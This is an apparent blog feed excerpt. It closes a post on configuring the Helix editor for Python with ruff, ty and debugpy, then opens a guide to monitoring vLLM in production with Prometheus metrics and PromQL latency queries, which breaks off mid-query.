<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Configured</span><span style="color: light-dark(#40A02B, #A6E3A1);"> language</span><span style="color: light-dark(#40A02B, #A6E3A1);"> servers:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✘</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ty:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ty</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> not</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found</span><span style="color: light-dark(#40A02B, #A6E3A1);"> in</span><span> $</span><span>PATH</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✘</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ruff:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ruff</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> not</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found</span><span style="color: light-dark(#40A02B, #A6E3A1);"> in</span><span> $</span><span>PATH</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✘</span><span style="color: light-dark(#40A02B, #A6E3A1);"> jedi:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">jedi-language-server</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> not</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found</span><span style="color: light-dark(#40A02B, #A6E3A1);"> in</span><span> $</span><span>PATH</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✘</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pylsp:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">pylsp</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> not</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found</span><span style="color: light-dark(#40A02B, #A6E3A1);"> in</span><span> $</span><span>PATH</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Configured</span><span style="color: light-dark(#40A02B, #A6E3A1);"> debug</span><span style="color: light-dark(#40A02B, #A6E3A1);"> adapter:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> None</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Configured</span><span style="color: light-dark(#40A02B, #A6E3A1);"> formatter:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> None</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Tree-sitter</span><span style="color: light-dark(#40A02B, #A6E3A1);"> parser:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Highlight</span><span style="color: light-dark(#40A02B, #A6E3A1);"> queries:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Textobject</span><span style="color: light-dark(#40A02B, #A6E3A1);"> queries:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Indent</span><span style="color: light-dark(#40A02B, #A6E3A1);"> queries:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span></code></pre>
<p>As you can see, I haven't configured any language servers or formatters yet, but I have the Tree-sitter parser and queries set up.
Let's fix that. As many of us, I'm a big fan of Astral's tools, so I'll be using <a href="/uv">uv</a> to manage dependencies.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> tool</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ruff</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> tool</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ty</span></span></code></pre>
<p>This will install ruff (code formatter) and ty (type checker) as command-line tools that we can use in Helix.
On macOS, uv tool install puts executables in a user bin directory that must be on your PATH.
The exact path depends on your setup, but a very common fix is:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">echo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">export PATH=&quot;$HOME/.local/bin:$PATH&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#179299, #94E2D5);"> &gt;&gt;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.zshrc</span></span>
<span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">source</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.zshrc</span></span></code></pre>
<p>Execute the command above if you haven't already, and then check that the tools are available:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">which</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ruff</span></span>
<span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">which</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ty</span></span></code></pre>
<p>If which shows nothing, Helix will not see them either. Now, let's check the health again:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">hx</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-health</span><span style="color: light-dark(#40A02B, #A6E3A1);"> python</span></span></code></pre>
<p>The output should now look like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Configured</span><span style="color: light-dark(#40A02B, #A6E3A1);"> language</span><span style="color: light-dark(#40A02B, #A6E3A1);"> servers:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✓</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ty:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /Users/akrisanov/.local/bin/ty</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✓</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ruff:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /Users/akrisanov/.local/bin/ruff</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✘</span><span style="color: light-dark(#40A02B, #A6E3A1);"> jedi:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">jedi-language-server</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> not</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found</span><span style="color: light-dark(#40A02B, #A6E3A1);"> in</span><span> $</span><span>PATH</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✘</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pylsp:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">pylsp</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> not</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found</span><span style="color: light-dark(#40A02B, #A6E3A1);"> in</span><span> $</span><span>PATH</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Configured</span><span style="color: light-dark(#40A02B, #A6E3A1);"> debug</span><span style="color: light-dark(#40A02B, #A6E3A1);"> adapter:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> None</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Configured</span><span style="color: light-dark(#40A02B, #A6E3A1);"> formatter:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> None</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Tree-sitter</span><span style="color: light-dark(#40A02B, #A6E3A1);"> parser:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Highlight</span><span style="color: light-dark(#40A02B, #A6E3A1);"> queries:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Textobject</span><span style="color: light-dark(#40A02B, #A6E3A1);"> queries:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Indent</span><span style="color: light-dark(#40A02B, #A6E3A1);"> queries:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span></code></pre>
<p>To make the tools work in Helix, we need to add some configuration. Open the Helix configuration file
(usually located at <code>~/.config/helix/languages.toml</code>) and add the following lines:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="toml"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">[[</span><span>language</span><span style="color: light-dark(#7C7F93, #9399B2);">]]</span></span>
<span class="giallo-l"><span>name</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">python</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>language-servers</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ruff</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ty</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"><span>auto-format</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#FE640B, #FAB387);"> true</span></span>
<span class="giallo-l"><span>formatter</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span><span> command</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ruff</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span> args</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">format</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">-</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span><span style="color: light-dark(#7C7F93, #9399B2);"> }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">[</span><span>language-server</span><span>.</span><span>ruff</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"><span>command</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ruff</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>args</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">server</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">[</span><span>language-server</span><span>.</span><span>ty</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"><span>command</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ty</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>args</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">server</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span></code></pre>
<p>The final part is to make <code>debugpy</code> available for debugging. You can install it with pip:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">pip</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> debugpy</span></span></code></pre>
<p>and then append the following lines to the Helix configuration file:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="toml"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">[</span><span>language</span><span>.</span><span>debugger</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"><span>name</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">debugpy</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>transport</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">stdio</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>command</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">python3</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>args</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">-m</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">debugpy.adapter</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">[[</span><span>language</span><span>.</span><span>debugger</span><span>.</span><span>templates</span><span style="color: light-dark(#7C7F93, #9399B2);">]]</span></span>
<span class="giallo-l"><span>name</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">source</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>request</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">launch</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>completion</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  {</span><span> name</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">entrypoint</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span> completion</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">filename</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span> default</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">.</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);"> }</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"><span>args</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span><span> mode</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">debug</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span> program</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">{0}</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);"> }</span></span></code></pre>
<p>Now you should have a fully configured Helix for Python development, with <code>ruff</code> as the code formatter and <code>ty</code> as the type checker.</p>
<p>Enjoy!</p>

        
      ]]></description>
    </item>
    
    <item>
      <title>Monitoring vLLM in Production: Metrics, PromQL, Alerts, and Runbooks</title>
      <pubDate>Thu, 18 Jun 2026 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/vllm-metrics/</link>
      <guid>https://akrisanov.com/vllm-metrics/</guid>
      <description xml:base="https://akrisanov.com/vllm-metrics/"><![CDATA[
        <p>Published: 2026-01-28</p>
        <p>Updated: 2026-06-18</p>
        
          <blockquote>
<p><strong>Version scope:</strong> This guide targets vLLM 0.23.x and its default V1 engine. Metric names and semantics change between releases, so verify the <code>/metrics</code> output of the exact version and serving configuration you run before copying queries or alerts into production.</p>
</blockquote>
<h2 id="why-this-guide-exists">Why this guide exists</h2>
<p>A vLLM server can be healthy from Kubernetes' point of view while users still experience slow or unstable responses.
The pods are running, the GPUs are busy, and the API answers health checks—but requests wait in the scheduler,
long prompts make prefill expensive, or token streaming becomes uneven.</p>
<p>The goal of this guide is not to list every metric exported by vLLM. It is to connect a small set of signals to
the questions engineers ask during incidents and capacity reviews:</p>
<ol>
<li>Are users receiving the first token quickly enough?</li>
<li>Does token streaming remain smooth after generation starts?</li>
<li>Is the scheduler accepting work faster than the engine can process it?</li>
<li>Is KV-cache pressure causing preemption and recomputation?</li>
<li>Is the deployment doing useful work at the expected throughput?</li>
<li>Did the workload change, or did the serving system regress?</li>
</ol>
<p>The examples use Prometheus and Grafana, but the mental model applies to other monitoring backends as well.</p>
<h2 id="start-with-the-observability-boundary">Start with the observability boundary</h2>
<p>vLLM metrics describe the inference server and engine. They do not describe the entire request path.</p>
<p>A production request usually crosses several layers:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>Client</span></span>
<span class="giallo-l"><span>  -&gt; API gateway or ingress</span></span>
<span class="giallo-l"><span>  -&gt; authentication, quotas, and routing</span></span>
<span class="giallo-l"><span>  -&gt; vLLM API server</span></span>
<span class="giallo-l"><span>  -&gt; scheduler and model executor</span></span>
<span class="giallo-l"><span>  -&gt; streaming response</span></span>
<span class="giallo-l"><span>  -&gt; client</span></span></code></pre>
<p>A user-visible latency regression can originate in any of these layers. A useful monitoring stack therefore combines:</p>
<ul>
<li><strong>Gateway metrics:</strong> incoming request rate, HTTP status codes, upstream latency, retries, timeouts, and client disconnects</li>
<li><strong>vLLM metrics:</strong> queueing, TTFT, inter-token latency, request latency, throughput, preemption, and KV-cache usage</li>
<li><strong>GPU and host metrics:</strong> utilization, memory, power, clocks, throttling, PCIe or NVLink errors, and node health</li>
</ul>
<p>Engine metrics explain what happens inside vLLM. They cannot, by themselves, prove that the complete service is healthy.</p>
<h2 id="metric-names-and-prometheus-conventions">Metric names and Prometheus conventions</h2>
<p>vLLM exposes Prometheus metrics on the OpenAI-compatible server's <code>/metrics</code> endpoint.</p>
<p>Metric names use the <code>vllm:</code> prefix:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>vllm:num_requests_running</span></span>
<span class="giallo-l"><span>vllm:time_to_first_token_seconds</span></span>
<span class="giallo-l"><span>vllm:prompt_tokens_total</span></span></code></pre>
<p>Standard Prometheus preserves the colon. Some OpenTelemetry pipelines, managed monitoring products, or custom ingestion
layers may normalize metric names. Always check the names stored in your monitoring backend:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">curl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">s</span><span style="color: light-dark(#40A02B, #A6E3A1);"> http://</span><span style="color: light-dark(#179299, #94E2D5);">&lt;</span><span style="color: light-dark(#40A02B, #A6E3A1);">vllm-hos</span><span>t</span><span style="color: light-dark(#179299, #94E2D5);">&gt;</span><span style="color: light-dark(#40A02B, #A6E3A1);">:8000/metrics</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> grep</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">^vllm:</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> head</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">50</span></span></code></pre>
<p>Metric type determines how to query it:</p>
<ul>
<li><strong>Histograms</strong> have <code>_bucket</code>, <code>_sum</code>, and <code>_count</code> series. Use <code>rate()</code> and <code>histogram_quantile()</code> to calculate latency percentiles</li>
<li><strong>Counters</strong> are exposed with a <code>_total</code> suffix. Use <code>rate()</code> or <code>increase()</code></li>
<li><strong>Gauges</strong> represent current state. Query them directly or aggregate them across replicas</li>
</ul>
<p>The examples below group by <code>model_name</code>. Add stable labels such as <code>cluster</code>, <code>namespace</code>, or <code>service</code> where appropriate.
Avoid aggregating unrelated models into one percentile: a fast small model can hide a regression in a much larger one.</p>
<h2 id="the-latency-metrics-that-users-notice">The latency metrics that users notice</h2>
<p>Three latency metrics cover most user-visible complaints.</p>
<h3 id="ttft-time-to-first-token">TTFT: time to first token</h3>
<p>Metric:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>vllm:time_to_first_token_seconds</span></span></code></pre>
<p>TTFT measures how long vLLM takes to produce the first output token. At the serving boundary, it includes request processing,
scheduler waiting, prefill, and the first generation step. Client-visible TTFT also includes gateway, routing, network,
and streaming overhead.</p>
<p>A high TTFT does not automatically mean the GPU is slow. It may indicate queueing, longer prompts, lower prefix-cache reuse,
or a slow first model-execution step.</p>
<h3 id="itl-inter-token-latency">ITL: inter-token latency</h3>
<p>Metric:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>vllm:inter_token_latency_seconds</span></span></code></pre>
<p>ITL measures the delay between streamed output tokens. This is the most direct engine-level metric for visible pauses during streaming.</p>
<h3 id="request-level-tpot">Request-level TPOT</h3>
<p>Metric:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>vllm:request_time_per_output_token_seconds</span></span></code></pre>
<p>This metric records the average time per output token for a completed request. It is useful for comparing decode
efficiency across requests, but it can hide individual stalls. A request may have acceptable average TPOT while still
containing several poor ITL samples.</p>
<p>For interactive services, monitor both ITL and request-level TPOT. Use ITL for streaming smoothness and TPOT for
request-level decode efficiency.</p>
<h3 id="supporting-latency-metrics">Supporting latency metrics</h3>
<ul>
<li>Queue time: <code>vllm:request_queue_time_seconds</code></li>
<li>End-to-end latency inside the vLLM serving boundary: <code>vllm:e2e_request_latency_seconds</code></li>
<li>Prefill time: <code>vllm:request_prefill_time_seconds</code></li>
<li>Decode time: <code>vllm:request_decode_time_seconds</code></li>
</ul>
<h2 id="promql-for-latency-percentiles">PromQL for latency percentiles</h2>
<h3 id="p95-ttft">P95 TTFT</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>histogram_quantile(</span></span>
<span class="giallo-l"><span>  0.95,</span></span>
<span class="giallo-l"><span>  sum by (le, model_name) (</span></span>
<span class="giallo-l"><span>    rate(vllm:time_to_first_token_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span>  )</span></span>
<span class="giallo-l"><span>)</span></span></code></pre><h3 id="p99-inter-token-latency">P99 inter-token latency</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>histogram_quantile(</span></span>
<span class="giallo-l"><span>  0.99,</span></span>
<span class="giallo-l"><span>  sum by (le, model_name) (</span></span>
<span class="giallo-l"><span>    rate(vllm:inter_token_latency_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span>  )</span></span>
<span class="giallo-l"><span>)</span></span></code></pre><h3 id="p95-request-level-tpot">P95 request-level TPOT</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>histogram_quantile(</span></span>
<span class="giallo-l"><span>  0.95,</span></span>
<span class="giallo-l"><span>  sum by (le, model_name) (</span></span>
<span class="giallo-l"><span>    rate(vllm:request_time_per_output_token_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span>  )</span></span>
